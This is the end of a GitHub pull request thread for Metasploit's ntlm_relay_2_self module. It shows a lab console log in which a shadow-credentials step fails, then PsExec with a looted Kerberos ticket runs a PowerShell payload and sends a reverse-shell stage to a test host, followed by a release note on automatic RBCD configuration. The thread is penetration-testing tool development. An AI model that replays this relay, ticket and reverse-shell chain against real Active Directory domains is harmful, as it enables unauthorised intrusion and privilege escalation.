[-]   /Users/jheysel/rapid7/metasploit-framework/modules/auxiliary/admin/ldap/shadow_credentials.rb:288:in `store_cert'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/auxiliary/admin/ldap/shadow_credentials.rb:266:in `action_add'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/auxiliary/admin/ldap/shadow_credentials.rb:178:in `block in run'
[-]   /Users/jheysel/rapid7/metasploit-framework/lib/msf/core/optional_session/ldap.rb:51:in `ldap_connect'
[-]   /Users/jheysel/rapid7/metasploit-framework/modules/auxiliary/admin/ldap/shadow_credentials.rb:159:in `run'
[-] Shadow credentials module failed or did not return expected data for action ADD.
[*] --- Initiating OPSEC Cleanup ---
[*] Cleanup complete.
[*] Executing PsExec with Kerberos ticket via session 1 COMM channel...
[*] Launching PsExec against minion1.kerberos.issue as Administrator (Kerberos) via COMM session 1...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] PsExec module launched. Check sessions for new elevated session.
[*] Started reverse TCP handler on 172.16.199.1:8484
[*] minion1.kerberos.issue:445 - Connecting to the server...
[*] minion1.kerberos.issue:445 - Authenticating to minion1.kerberos.issue:445|kerberos.issue as user 'Administrator'...
[*] minion1.kerberos.issue:445 - Patching sname from CIFS/minion1.kerberos.issue to cifs/minion1.kerberos.issue
[*] minion1.kerberos.issue:445 - Loaded a credential from ticket file: /Users/jheysel/.msf4/loot/20260706091717_default_172.16.199.200_mit.kerberos.cca_056968.bin
[*] minion1.kerberos.issue:445 - Selecting PowerShell target
[*] minion1.kerberos.issue:445 - Executing the payload...
[+] minion1.kerberos.issue:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (199238 bytes) to 172.16.199.130

@cdelafuente-r7 cdelafuente-r7 added the rn-fix release notes fix label Jul 31, 2026
@cdelafuente-r7

cdelafuente-r7 commented Jul 31, 2026

Copy link
Copy Markdown
Contributor

Release Notes

This updates the ntlm_relay_2_self module to automatically configure Resource-Based Constrained Delegation (RBCD) on the target machine account by setting its msDS-AllowedToActOnBehalfOfOtherIdentity attribute. This allows the computer account to perform self-delegation via S4U2Proxy without encountering Kerberos KDC_ERR_BADOPTION (13) errors.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

Archived in project

Development

Successfully merging this pull request may close these issues.

6 participants